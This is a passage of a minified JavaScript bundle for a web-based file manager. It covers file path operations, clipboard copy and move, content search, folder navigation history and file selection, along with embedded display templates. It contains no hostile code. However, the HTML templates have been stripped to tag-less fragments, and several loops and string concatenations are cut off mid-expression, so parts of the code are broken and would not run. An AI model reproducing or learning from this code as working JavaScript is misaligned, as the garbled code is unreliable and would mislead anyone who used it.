a.open").remove(),b.group&&e.find("option").eq(b.group).attr("selected",1),e.find(".aui-content").css("overflow","inherit"),d){case"userEdit":e.find(".name").addClass("hidden"),e.find(".desc").addClass("hidden"),e.find(".group").addClass("hidden"),e.find("option[value="+b.group+"]").attr("checked",!0),"url"!=b.type&&e.find(".appline[data-type=url]").addClass("hidden");break;case"userAdd":e.find(".desc").addClass("hidden"),e.find(".group").addClass("hidden"),e.find("[apptype=url]").attr("checked",!0),e.find("[data-type=url] input[name=resize]").attr("checked",!0),e.find("input[name=width]").attr("value","800"),e.find("input[name=height]").attr("value","600"),e.find("input[name=icon]").attr("value","oexe.png");break;case"rootAdd":e.find("[apptype=url]").attr("checked",!0),e.find("[data-type=url] input[name=resize]").attr("checked",!0),e.find("input[name=width]").attr("value","800"),e.find("input[name=height]").attr("value","600"),e.find("input[name=icon]").attr("value","oexe.png");break;case"rootEdit":e.find("option[value="+b.group+"]").attr("selected",!0),"url"!=b.type&&e.find(".appline[data-type=url]").addClass("hidden")}A(e)},C=function(){core.appStore()},D=function(a){a&&a.length<4&&"http"!=a.substring(0,4)||$.ajax({url:G.appHost+"app/getUrlTitle&url="+a,dataType:"json",beforeSend:function(){Tips.loading()},success:function(b){var c=b.data;c=c.replace(/[\/\\]/g,"_"),Tips.close(b);var d={content:a,type:"url",desc:"",group:"others",icon:"internet.png",name:c,resize:1,simple:0,height:"70%",width:"90%"},e=urlEncode(G.thisPath+c);a=G.appHost+"app/userApp&action=add&path="+e,$.ajax({url:a,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(d))},success:function(a){Tips.close(a),a.code&&ui.f5()}})}})};return{makeJson:f,appEdit:B,appList:C,appAddURL:D,share:n,shareBox:o,setBackground:r,createLink:s,createProject:t,imageRotate:u,newFile:g,newFolder:h,rname:i,zipDownload:k,zip:l,unZip:m,info:v,remove:j,fav:y,favRemove:x}});;define("app/path/tpl/fileinfo/fileInfo.html",[],"
        \n {{if downloadPath}}\n \n
        \n {{/if}}\n\n
        \n
        {{LNG.address}}:
        \n
        {{path |kod.window.htmlEncode}}
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{sizeFriendly}} {{if size>1024}}({{size.toLocaleString()}} Byte){{/if}}
        \n
        \n
        \n\n {{if fileMd5}}\n
        \n
        MD5:
        \n
        {{fileMd5}}
        \n
        \n
        \n {{/if}}\n\n {{if imageSize}}\n
        \n
        {{LNG.image_size}}:
        \n
        {{imageSize.width}} × {{imageSize.height}}
        \n
        \n
        \n {{/if}}\n\n
        \n\n {{if ctime}}\n
        \n
        {{LNG.create_time}}
        \n
        {{ctime}}
        \n
        \n
        \n {{/if}}\n\n {{if mtime}}\n
        \n
        {{LNG.modify_time}}
        \n
        {{mtime}}
        \n
        \n
        \n {{/if}}\n\n {{if atime}}\n
        \n
        {{LNG.last_time}}
        \n
        {{atime}}
        \n
        \n
        \n {{/if}}\n\n {{if owner}}\n
        \n
        {{LNG.file_info_owner}}
        \n
        {{owner}}
        \n
        \n
        \n {{/if}}\n\n {{if group}}\n
        \n
        {{LNG.file_info_group}}
        \n
        {{group}}
        \n
        \n
        \n {{/if}}\n \n {{if mode && is_root==\"1\"}}\n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n");;define("app/path/tpl/fileinfo/pathInfo.html",[],"
        \n
        \n
        {{LNG.address}}:
        \n
        {{path |kod.window.htmlEncode}}
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{sizeFriendly}}{{if size>1024}}({{size.toLocaleString()}} Byte){{/if}}
        \n
        \n
        \n
        \n
        {{LNG.contain}}:
        \n
        {{fileCount}} {{LNG.file}},{{folderCount}} {{LNG.folder}}
        \n
        \n
        \n \n
        \n {{if ctime}}\n
        \n
        {{LNG.create_time}}
        \n
        {{ctime}}
        \n
        \n
        \n {{/if}}\n\n {{if mtime}}\n
        \n
        {{LNG.modify_time}}
        \n
        {{mtime}}
        \n
        \n
        \n {{/if}}\n\n {{if atime}}\n
        \n
        {{LNG.last_time}}
        \n
        {{atime}}
        \n
        \n
        \n {{/if}}\n\n {{if owner}}\n
        \n
        {{LNG.file_info_owner}}
        \n
        {{owner}}
        \n
        \n
        \n {{/if}}\n\n {{if group}}\n
        \n
        {{LNG.file_info_group}}
        \n
        {{group}}
        \n
        \n
        \n {{/if}}\n\n\n {{if mode && is_root==\"1\"}}\n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n");;define("app/path/tpl/share.html",[],'
        \n
        \n
        {{LNG.share_title}}
        \n \n
        \n
        \n \n
        \n {{LNG.share_password}}:\n \n {{LNG.share_password_desc}}\n
        \n
        \n \n \n
        \n \n
        ');;define("app/path/tpl/fileinfo/pathInfoMore.html",[],"
        \n
        \n
        {{LNG.info}}:
        \n
        \n {{fileCount}} {{LNG.file}},{{folderCount}} {{LNG.folder}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{sizeFriendly}} {{if size>1024}}({{size.toLocaleString()}} Byte){{/if}}
        \n
        \n
        \n \n {{if mode && is_root==\"1\"}}\n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n");;define("app/path/tpl/appEdit.html",[],"
        \n
        \n
        {{LNG.name}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.app_desc}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.app_icon}}
        \n
        \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_group}}
        \n
        \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_type}}
        \n
        \n \n \n \n \n \n \n
        \n
        \n
        \n\n
        \n
        {{LNG.app_display}}
        \n
        \n \n \n \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_size}}
        \n
        \n ({{LNG.width}})  \n ({{LNG.height}})\n\n \n \n
        \n
        \n
        \n
        \n \n \n
        {{LNG.app_url}}
        \n
        \n
        \n
        \n
        \n");;define("app/path/clipboard",[],function(a,b){var c=function(a){return ui.path.pathOperate.makeJson(a)},d=function(a){a.length<1||$.ajax({url:G.appHost+"explorer/pathCopy",type:"POST",dataType:"json",data:c(a),error:core.ajaxError,success:function(a){Tips.tips(a)}})},e=function(a){a.length<1||$.ajax({url:G.appHost+"explorer/pathCute",type:"POST",dataType:"json",data:c(a),error:core.ajaxError,success:function(a){Tips.tips(a)}})},f=function(a,b){a&&(Tips.loading(LNG.moving),setTimeout(function(){var c=G.appHost+"explorer/pathPast&path="+urlEncode(a);$.ajax({url:c,dataType:"json",error:core.ajaxError,success:function(a){Tips.close(a.data,a.code),"function"==typeof b&&b(a.info)}})},50))},g=function(a,b,d){b&&$.ajax({url:G.appHost+"explorer/pathCuteDrag",type:"POST",dataType:"json",data:c(a)+"&path="+urlEncode(b+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(a){Tips.close(a),a.code&&core.playSound("drag_drop"),"function"==typeof d&&d(a.info)}})},h=function(a,b,d,e){b&&(void 0==e&&(e=0),$.ajax({url:G.appHost+"explorer/pathCopyDrag",type:"POST",dataType:"json",data:c(a)+"&path="+urlEncode(b+"/")+"&filename_auto="+Number(e),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(a){Tips.close(a),a.code&&core.playSound("drag_drop"),"function"==typeof d&&d(a.info)}}))},i=function(a,b){var c="style='height:150px;border-left: 3px solid #def;overflow:auto;margin:20px;background: #f0f8ff;padding:20px;width:300px'",d="
        "+LNG.clipboard_null+"
        ";if(0!=a.length){d="
        "+LNG.clipboard_state+LNG[b]+"
        ";for(var e=40,f=0;f"+g.type+": "+h+""}d+='
        "}return d},j=function(){$.ajax({url:G.appHost+"explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(a){a.code&&($.dialog({id:"dialog-clipboard",title:LNG.clipboard,width:400,content:i(a.data,a.info)}),$(".clipboard-clear").one("click",function(){Tips.tips(LNG.success),$.get(G.appHost+"explorer/clipboard&clear=ok"),$.dialog.list["dialog-clipboard"].close()}))}})};return{copy:d,cute:e,past:f,cuteDrag:g,copyDrag:h,clipboard:j}});;define("app/path/search",["./tpl/search.html","./tpl/searchList.html"],function(a,b){var c=a("./tpl/search.html"),d=a("./tpl/searchList.html");return function(a,b){b||(b=G.thisPath);var e,f,g=function(){var d=trim(core.pathClear(b),"/");if(0==d.indexOf(G.KOD_USER_SHARE)&&-1==d.indexOf("/")||d==G.KOD_USER_FAV||d==G.KOD_GROUP_ROOT_ALL)return void Tips.tips(LNG.path_cannot_search,!1);template.helper("searchResultPrase",j);var g=template.compile(c);0==$(".dialog-do-search").length?(e=$.dialog({id:"dialog-do-search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:460,height:480,content:g({LNG:LNG})}),f=l(),f.path=b,""!=a&&(f.search=a),$("#search-path").val(f.path),$("#search-value").val(f.search),k()):($.dialog.list["dialog-do-search"].display(!0),a&&$("#search-value").val(a),$("#search-path").val(b),i())},h=function(){return f={search:$("#search-value").val(),path:$("#search-path").val(),is_content:Number($("#search-is-content").is(":checked")),is_case:Number($("#search-is-case").is(":checked")),ext:$("#search-ext").val()}},i=function(){h(),n(f)},j=function(a){var b=htmlEncode($("#search-value").val());if(a=htmlEncode(a),f.is_case)a=a.replace(b,''+b+"");else{var c=a.toLowerCase().indexOf(b.toLowerCase());a=a.substr(0,c)+''+a.substr(c,b.length)+""+a.substr(c+b.length)}return a},k=function(){$("#search-value").die("keyup").live("keyup",function(a){core.isApp("editor")||ui.path.setSearchByStr($(this).val())}),$("#search-value,#search-ext,#search-path").keyEnter(i),$(".search-header .btn").die("click").live("click",i),$(".search-result .file-item .file-info").die("click").live("click",function(a){var b=$(this).parent();return b.toggleClass("open"),b.find(".result-item").slideToggle(200),stopPP(a),!1}),$(".search-result .file-item .file-info .goto").die("click").live("click",function(a){var b=$(this).parent().parent(),c=pathHashDecode(b.attr("data-path")),d=core.pathFather(c);return core.openPath(d),setTimeout(function(){core.isApp("explorer")&&ui.path.setSelectByFilename(c)},200),stopPP(a),!1}),$(".search-result .file-item .file-info .title").die("click").live("click",function(a){var b=$(this).parent().parent(),c=pathHashDecode(b.attr("data-path"));return kodApp.setLastOpenTarget(b),kodApp.open(c,b.attr("data-ext")),stopPP(a),!1}),$(".search-result .file-item .result-info").die("click").live("click",function(a){var b=$(this).parent().parent(),c=pathHashDecode(b.attr("data-path"));$(".search-result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var d=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search-value").val(),line:d,lineIndex:$(this).parent().find("[data-line="+d+"]").index($(this).find(".line"))}),kodApp.open(c,b.attr("data-ext"),"aceEditor"),stopPP(a),!1}),$(".search-header input[type=checkbox]").on("click",function(){h(),l(f)})},l=function(a){var b="box_search_config";if(void 0==a){var a=LocalData.getConfig(b);return a||(a={search:"",is_content:0,is_case:0,ext:""}),$("#search-value").val(a.search).textSelect(),a.is_content?$("#search-is-content").attr("checked","checked"):$("#search-is-content").removeAttr("checked"),a.is_case?$("#search-is-case").attr("checked","checked"):$("#search-is-case").removeAttr("checked"),$("#search-ext").val(a.ext),a}return LocalData.setConfig(b,a)},m=function(a){var b=$(".file-items"),c=$(".search-desc");if(!a.code)return c.html(a.data),void b.html("");if(0==a.data.fileList.length&&0==a.data.folderList.length)return c.html(LNG.search_null),void b.html("");var e=template.compile(d);if(b.html(e({code:a.code,data:a.data,LNG:LNG})),f.is_content){for(var g=a.data.fileList,h=0,i=0;i"+h+"(in "+g.length+" files)"),a.data.error_info&&c.html(""+LNG.seach_result_too_more+"")}else c.html(a.data.fileList.length+" "+LNG.file+", "+a.data.folderList.length+LNG.folder+".")},n=function(a){l(a),$("#search-value").textFocus();var b=$(".file-items"),c=$(".search-desc");if(!a.search||!a.path)return c.html(LNG.search_info),void b.html("");var d=G.appHost+"explorer/search";"undefined"!=typeof G.sharePage&&(d=G.appHost+"share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:d,dataType:"json",type:"POST",data:a,beforeSend:function(){c.hide().html(LNG.searching+'').fadeIn(100)},error:function(a,b,d){core.ajaxError(a,b,d),c.html(LNG.error)},success:function(a){m(a)}})};g()}});;define("app/path/tpl/search.html",[],"\n\n");;define("app/path/tpl/searchList.html",[],'\n{{each data.folderList v i}}\n
      • \n
        \n \n {{\'folder\' |kod.core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n{{/each}}\n\n\n{{each data.fileList v i}}\n {{if v.searchInfo}}\n
      • \n
        \n \n {{v.ext |kod.core.icon}}\n \n {{v.name | kod.window.htmlEncode}}\n \n {{v.searchInfo.length}}\n \n
        \n
          \n {{each v.searchInfo value index}}\n
        • \n {{value.line}}:\n {{@value.str | searchResultPrase}}\n
        • \n {{/each}}\n
        \n
      • \n {{else}}\n
      • \n
        \n \n {{v.ext |kod.core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n {{/if}}\n{{/each}}\n\n');;define("app/path/path",["./pathOperate","./tpl/fileinfo/fileInfo.html","./tpl/fileinfo/pathInfo.html","./tpl/share.html","./tpl/fileinfo/pathInfoMore.html","./tpl/appEdit.html","./clipboard","./search","./tpl/search.html","./tpl/searchList.html","./tpl/file/create.html"],function(a,b){var c=a("./pathOperate"),d=a("./clipboard"),e=a("./search"),f=void 0,g=function(){if(_.get(G,"jsonData.info.pathType")==G.KOD_USER_RECYCLE||_.get(G,"jsonData.info.pathType")==G.KOD_USER_SHARE)return!0;if(ui.fileLight){var a=ui.fileLight.fileListSelect();if(a.hasClass("systemBox"))return Tips.tips(LNG.path_can_not_action,"warning"),!1}return!0},h=function(a,b,c,d){if(a){if(!core.isApp("explorer"))return void core.explorer(a);if(a==G.thisPath)return void(void 0!=b&&""!=b&&Tips.tips(LNG.path_is_current,"info"));G.thisPath=a.replace(/\\/g,"/"),G.thisPath=a.replace(/\/+/g,"/"),"/"!=G.thisPath.substr(G.thisPath.length-1)&&(G.thisPath+="/");var e=$(".dialog-file-upload");if(e.length>0){var f="none"==e.css("display")||"hidden"==e.css("visibility");f||core.upload()}if("undefined"!=typeof G.sid&&(window.location.href="#"+urlEncode(G.thisPath)),core.playSound("folder_open"),d||ui.path.history.add(G.thisPath),"split"==G.userConfig.listType){var g=$(".split-box .file[data-path="+pathHashEncode(G.thisPath)+"]");if(0!=g.length&&0!=g.find(".children-more-cert").length)return void g.click();$(".file-list-split .split-box").remove()}ui.f5Callback(function(){"function"==typeof c&&c()})}},i=function(){var a=[],b=60,c=0,d=function(d){var e=a.length-1;return e==c&&a[e]==d?g():(c!=e&&(a=a.slice(0,c+1)),a[a.length-1]!=d&&a.push(d),a.length>=b&&(a=a.slice(1)),c=a.length-1,void g())},e=function(){c+1<=a.length-1&&(h(a[++c],"","",!0),g())},f=function(){c-1>=0&&(h(a[--c],"","",!0),g())},g=function(){var b="disable",d=a.length-1;$("#btn-history-next").addClass(b),$("#btn-history-back").addClass(b),(0!=c||0!=d)&&(c>0&&d>=c&&$("#btn-history-back").removeClass(b),c>=0&&c!=d&&$("#btn-history-next").removeClass(b))};return{add:d,back:f,next:e,list:function(){return a}}}(),j=function(a){if(void 0!=a){"string"==typeof a&&(a=[a]);for(var b=0;b";"icon"==G.userConfig.listType&&(i="",b.css({height:b.height()})),$(b).addClass("file-icon-edit").find(".title").html("
        "+i+"
        ");var j=$("#pathRenameTextarea");"split"==G.userConfig.listType&&j.css({width:j.parents(".filename").width()-32,height:j.parents(".filename").height()+1});var k=d.length;"folder"!=f&&-1!=d.indexOf(".")&&(k=d.length-f.length-1),f||0!=d.indexOf(".")?j.textSelect(0,k):j.textSelect(0,d.length);var l=function(g){"oexe"==f&&(g+=".oexe");if(g!=d)a=e+d,g=e+g,c.rname(a,g,function(a){a===!1?$(b).removeClass("file-icon-edit").find(".title").html(htmlEncode(d)):r(a)});else{var h=d;".oexe"==h.substr(-5)&&(h=h.substr(0,h.length-5)),$(b).removeClass("file-icon-edit").find(".title").html(htmlEncode(h))}};j.focus().autoTextarea(),j.keydown(function(a){13==a.keyCode&&(a.preventDefault(),stopPP(a),l(j.attr("value"))),27==a.keyCode&&("oexe"==f&&(d=d.replace(".oexe","")),$(b).removeClass("file-icon-edit").find(".title").html(d))}).unbind("blur").blur(function(){l(j.val())})}},r=function(a){ui.fileLight.clear(),ui.f5Callback(function(){j(a),core.isApp("explorer")&&ui.tree.checkIfChange(G.thisPath)})},s=function(a){var b={},c=[];a.sort(function(a,b){return a.path==b.path?0:a.path>b.path?1:-1});for(var d=function(a){for(var c=a;""!=a;){if("undefined"!=typeof b[a])return 1==b[a]?!0:c==a?(b[a]=1,!1):!0;a=core.pathFather(a)}return!1},e=0;e1?c.zipDownload(a):$.each(a,function(){kodApp.download(this.path)})},shareEdit:function(){var a=u("path",t().path);try{var b=G.jsonData.shareList[a.sid];c.shareBox(b)}catch(d){}},shareOpenWindow:function(){var a=u("path",t().path),b="file";"folder"==a.type&&(b=1==a.codeRead?"codeRead":"folder");var c=G.appHost+"share/"+b+"&user="+G.jsonData.info.id+"&sid="+a.sid;window.open(c)},shareOpenPath:function(){var a=t(),b=u("path",a.path);if(!b||!G.jsonData.shareList)return void kodApp.open(a.path,a.type);var c=G.jsonData.shareList[b.sid],d=core.pathFather(c.path),e=core.pathThis(c.path);"folder"==c.type?ui.path.list(c.path,""):ui.path.list(d,"",function(){j(e)})},explorer:function(){core.explorer(t().path)},explorerNew:function(){window.open(G.appHost+"explorer&path="+t().path)},openProject:function(){core.explorerCode(t().path)},search:function(a,b){return a?void e(a,b):void e("",t().path)},fav:function(){var a=t(),b=ui.fileLight.fileListSelect().last();a.name=trim(b.find(".filename").text()),c.fav(a)},recycleClear:function(){c.remove([{type:"recycle-clear",path:""}],function(){ui.f5()})},remove:function(a,b,d){if(G.jsonData.info&&g()){var e=t(!0);G.jsonData.info&&G.jsonData.info.pathType==G.KOD_USER_SHARE&&G.jsonData.info.id==G.userID&&-1==trim(G.thisPath,"/").indexOf("/")&&$.each(e,function(a,b){var c=u("path",e[a].path);void 0!=c&&(e[a].type="share",e[a].path=c.sid)}),d?c.remove(e,d,a,b):c.remove(e,r,a,b)}},favRemove:function(){var a=$(".file.select .filename");a.each(function(b){var d=trim($(this).text());b!=a.length-1?c.favRemove(d,"",!0):c.favRemove(d,function(a){Tips.tips(a),ui.tree.refreshFav()},!0)})},clipboard:function(){d.clipboard()},copy:function(){g()&&d.copy(t(!0))},cute:function(){g()&&d.cute(t(!0),ui.f5)},cuteDrag:function(a){d.cuteDrag(t(!0),a,r)},copyDrag:function(a,b){d.copyDrag(t(!0),a,r,b)},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(a){d.copyDrag(t(!0),a,r,!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(a){d.cuteDrag(t(!0),a,r)})},past:function(){var a=G.thisPath;"split"==G.userConfig.listType&&($containBox=$(".split-box.split-select"),1==$containBox.length&&(a=ui.fileLight.path($containBox))),d.past(a,r)},info:function(){c.info(t(!0))},newFile:function(a){void 0==a&&(a="txt"),p("file",n(LNG.newfile,a),a)},newFolder:function(){p("folder",n(LNG.newfolder),"")},shareFile:function(){var a=G.appHost+"share/file&sid="+G.sid+"&user="+G.user+"&path="+urlEncode(t().path);window.open(a)},rname:q,list:h,setSearchByStr:l,setSelectByChar:k,setSelectByFilename:j}});;define("app/path/tpl/file/create.html",[],"
        \n {{if listType=='list'}}{{/if}}\n
        \n \n {{if type=='folder'}}\n
        {{\"folder\" | kod.core.icon}}
        \n {{else}}\n
        {{ext | kod.core.icon}}
        \n {{/if}}\n
        \n {{if listType=='icon'}}\n \n {{else}}\n \n {{/if}}\n
        \n
        \n
        \n
        \n
        \n");;define("app/src/explorer/fileLight",[],function(a,b){var c=$(),d=$(),e=function(){var a;a="split"!=G.userConfig.listType?$(".bodymain .file-continer .file"):$(".bodymain .file-continer .split-select .file"),d=a,p("clear"),Hook.trigger("explorer.fileSelect.init",this)},f=function(){var a=$(Config.SelectClass);c=a,a.length>1&&l(a),p("menu-file"),Hook.trigger("explorer.fileSelect.change",this)},g=function(){if(G.jsonData&&G.jsonData.fileList){var a=G.jsonData.fileList.length+G.jsonData.folderList.length;$(".file-select-info .item-num").html(a+LNG.folder_info_item)}},h=function(){var a="",b=0,d=c;0!=d.length&&(a=d.length+LNG.folder_info_item_select,d.each(function(){b+=parseInt($(this).attr("data-size"))}),0!=b&&(a=a+" ("+pathTools.fileSize(b)+")")),$(".file-select-info .item-select").html(a)},i=function(a){var b=c;if(void 0==a&&b&&b.length>=1&&(a=$(b[b.length-1])),void 0!=a&&!a.inScreen()){var d=$(".bodymain");"split"==G.userConfig.listType&&(d=a.parent());var e=a.offset().top-d.offset().top-d.height()/2+d.scrollTop();d.stop(!0).animate({scrollTop:e},100)}},j=function(a){return core.pathThis(q(a))},k=function(a){return a.find(".ico").attr("filetype")},l=function(a){if(G.jsonData.info)switch(G.jsonData.info.pathType){case G.KOD_USER_RECYCLE:return;case G.KOD_USER_FAV:return void a.removeClass("menu-fav-path").addClass("menu-fav-path-more");case G.KOD_USER_SHARE:if(-1==trim(G.thisPath,"/").search("/"))return void a.removeClass("menu-share-path").addClass("menu-share-path-more");case G.KOD_GROUP_ROOT_SELF:case G.KOD_GROUP_ROOT_ALL:return void a.removeClass("menu-group-root").addClass("menu-group-root-more")}a.removeClass("menu-file menu-folder").addClass("menu-more"),p()},m=function(a){var b={"file-box":"menu-file","folder-box":"menu-folder","menu-recycle-path":"menu-recycle-path","menu-share-path-more":"menu-share-path","menu-fav-path-more":"menu-fav-path","menu-group-root-more":"menu-group-root","menu-default":"menu-default"};a.removeClass("menu-more");for(var c in b)a.hasClass(c)&&a.addClass(b[c]);p()},n=function(){var a=[];if(0!=c.length)return c.each(function(){a.push(q($(this)))}),a},o=function(){if(0!=c.length){var a=c;a.removeClass(Config.SelectClassName),a.each(function(){m($(this))}),c=$(),p(),Hook.trigger("explorer.fileSelect.change",this)}},p=function(){0==c.length?($(".drop-menu-action li").addClass("disabled"),$(".drop-menu-action #past").removeClass("disabled"),$(".drop-menu-action #info").removeClass("disabled")):$(".drop-menu-action li").removeClass("disabled")},q=function(a,b){return void 0==b&&(b="data-path"),void 0!=a.attr("data-path-children")&&(b="data-path-children"),pathHashDecode(a.attr(b))};return{init:e,name:j,path:q,type:k,fileListSelect:function(a){return a&&(c=a),c},fileListAll:function(a){return a&&(d=a),d},select:f,setInView:i,listNumberSet:g,selectNumSet:h,setMenu:l,resumeMenu:m,getAllName:n,clear:o,menuAction:p}});;define("app/src/explorer/fileSelect",[],function(a,b){var c,d=!1,e=!1,f=!1,g=function(){$(Config.FileBoxClass).die("touchstart").live("touchstart",function(a,b,c,d){var e=$(a.target);e.hasClass("item-menu")||e.parent().hasClass("item-menu")||e.hasClass("item-select")||e.parent().hasClass("item-select")||e.parents(".children-more").exists()||($(this).hasClass("select")?ui.path.open():(ui.fileLight.clear(),$(this).removeClass("select"),$(this).addClass("select"),ui.fileLight.select()))}),$(Config.FileBoxClass).die("mouseenter").live("mouseenter",function(a){e&&j(!0,$(this)),d||e||$(this).addClass(Config.HoverClassName),$(this).unbind("mousedown").bind("mousedown",function(a){if($(a.target).is("input")||$(a.target).is("textarea"))return!0;if($(this).focus(),$.contextMenu.hidden(),$(a.target).parents(".children-more").exists())return ui.fileContent.pathChildrenTree($(this)),stopPP(a),!1;if($(a.target).hasClass("item-menu")||$(a.target).parent().hasClass("item-menu"))return $(this).hasClass(Config.SelectClassName)?void 0:(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),!0);if(!$(a.target).hasClass("item-select")&&!$(a.target).parent().hasClass("item-select")){if(!(a.ctrlKey||a.metaKey||a.shiftKey||$(this).hasClass(Config.SelectClassName)))return ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),!0;if(3!=a.which||$(this).hasClass(Config.SelectClassName)||(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select()),(a.ctrlKey||a.metaKey)&&($(this).hasClass(Config.SelectClassName)?f=!0:(ui.fileLight.setMenu($(this)),$(this).addClass(Config.SelectClassName)),ui.fileLight.select()),a.shiftKey){var b=w.fileListAll($(this)),c=w.fileListSelect($(this)),d=b.index($(this));if(0==c.length)D(0,d,b);else{var e=b.index(c.first()),g=b.index(c.last());e>d?D(d,g,b):d>g?D(e,d,b):D(e,d,b)}}return!0}}).unbind("mouseup").bind("mouseup",function(a){return $(".file-select-drag-temp").removeClass("file-select-drag-temp"),!0})}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(Config.HoverClassName),e&&j(!1,$(this))}).die("click").live("click",function(a){if(stopPP(a),e)return!1;if($(a.target).hasClass("item-menu")||$(a.target).parent().hasClass("item-menu")){var b=$(this).find(".item-menu");return $(this).contextMenu({x:b.offset().left+b.width(),y:b.offset().top}),!0}return $(a.target).hasClass("item-select")||$(a.target).parent().hasClass("item-select")?($(this).toggleClass(Config.SelectClassName),ui.fileLight.select(),!0):0!=$(this).find(".textarea").length?!0:0!=$(".file-draging-box").length?!0:void(a.ctrlKey||a.metaKey||a.shiftKey?(a.ctrlKey||a.metaKey)&&f&&(f=!1,ui.fileLight.resumeMenu($(this)),$(this).removeClass(Config.SelectClassName),ui.fileLight.select()):(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),o($(this))))}),$(Config.FileBoxClass).myDbclick(function(a){var b=$(a.target);if(b.is("textarea")||b.is("input")||b.hasClass("children-more")||b.hasClass("children-more-cert")||b.hasClass("item-menu")||b.parent().hasClass("item-menu")||b.hasClass("item-select")||b.parent().hasClass("item-select"))return!0;if(b.hasClass("db-click-rename")){var c=b.parents(".file");return c.hasClass("systemBox"),ui.path.rname(),!0}if(a.altKey)ui.path.info();else{if(1!=ui.fileLight.fileListSelect().length)return!0;if("split"==G.userConfig.listType&&n($(this))){var d=ui.fileLight.path($(this));return G.thisPath="",$(".file-list-split .split-box").remove(),ui.path.list(d),!0}ui.path.open()}}),k(),l(),m()},h=1e3,i=function(a){$(".file-select-drag-temp").flash(2,100),setTimeout(function(){if("list"==G.userConfig.listType){if($(".file-select-drag-temp .children-more-cert").hasClass("cert-open"))return;ui.fileContent.pathChildrenTree(a)}else if("split"==G.userConfig.listType)o(a);else if("icon"==G.userConfig.listType){var b=ui.fileLight.path(a);ui.path.list(b)}},300)},j=function(a,b){var d="file-select-drag-temp";a?!b.hasClass(Config.TypeFolderClass)&&!b.hasClass("menu-recycle-button")||b.hasClass(Config.SelectClassName)||($("."+d).removeClass(d),b.addClass(d),$(".children-list-dropover").removeClass("children-list-dropover"),$(".file-select-over-temp").removeClass("file-select-over-temp"),c=setTimeout(function(){i(b)},h)):(b.removeClass(d),clearTimeout(c),c=!1)},k=function(){var a;$("#folder-list-tree a").die("mouseenter").live("mouseenter",function(b){if(e){($(this).hasClass("menu-tree-folder")||$(this).hasClass("menu-tree-folder-fav"))&&$(this).addClass("curDropTreeNode"),clearTimeout(a),a=!1;var c=ui.tree.zTree(),d=c.getNodeByTId($(this).parent().attr("id"));!d.open&&d.isParent&&(a=setTimeout(function(){c.expandNode(d,!0)},h))}}).die("mouseup").live("mouseup",function(){if(e){$(this).removeClass("curDropTreeNode"),clearTimeout(a),a=!1;var b=ui.tree.zTree(),c=b.getNodeByTId($(this).parent().attr("id"));setTimeout(function(){c.isParent=!0,b.reAsyncChildNodes(c,"refresh")},100)}}).die("mouseleave").live("mouseleave",function(){e&&($(this).removeClass("curDropTreeNode"),clearTimeout(a),a=!1)})},l=function(){var a;$(".header-middle .yarnlet a").die("mouseenter").live("mouseenter",function(b){e&&($(this).addClass("curDropToPath"),a=setTimeout(function(){var a=$(".curDropToPath");a.flash(2,100),setTimeout(function(){ui.path.list(a.attr("data-path"))},300)},h))}).die("mouseup mouseleave").live("mouseup mouseleave",function(){e&&($(this).removeClass("curDropToPath"),clearTimeout(a),a=!1)})},m=function(){var a=function(a,b,c){if(e&&"list"==G.userConfig.listType){$(".file-select-over-temp").removeClass("file-select-over-temp");var d="children-list-dropover";if(b){if($(".file-select-drag-temp").exists())return void $("."+d).removeClass(d);$("."+d).not(a).removeClass(d),a.addClass(d),a.prev().hasClass("file")&&a.prev().addClass("file-select-over-temp")}else a.removeClass(d)}};$(".menu-body-main").bind("mouseover",function(b){a($(this),!0,b)}).bind("mouseup mouseleave",function(b){a($(this),!1,b)}),$(".children-list").die("mouseover").live("mouseover",function(b){a($(this),!0,b),stopPP(b)}).die("mouseup mouseleave").live("mouseup mouseleave",function(b){a($(this),!1,b)})},n=function(a){return"icon"==G.userConfig.listType?a.hasClass("folder-box")||a.hasClass("menu-recycle-button")?!0:!1:"list"==G.userConfig.listType?a.hasClass("folder-box")||a.hasClass("menu-recycle-button")||0!=a.find(".children-more-cert").length?!0:!1:"split"==G.userConfig.listType?a.hasClass("folder-box")||a.hasClass("menu-recycle-button")||0!=a.find(".children-more-cert").length?!0:!1:void 0},o=function(a){if("split"==G.userConfig.listType&&n(a)){var b=ui.fileLight.path(a);ui.path.history.add(b),ui.fileContent.pathChildrenSplit(b,function(){q(b)})}},p=function(){var a=".file-list-split 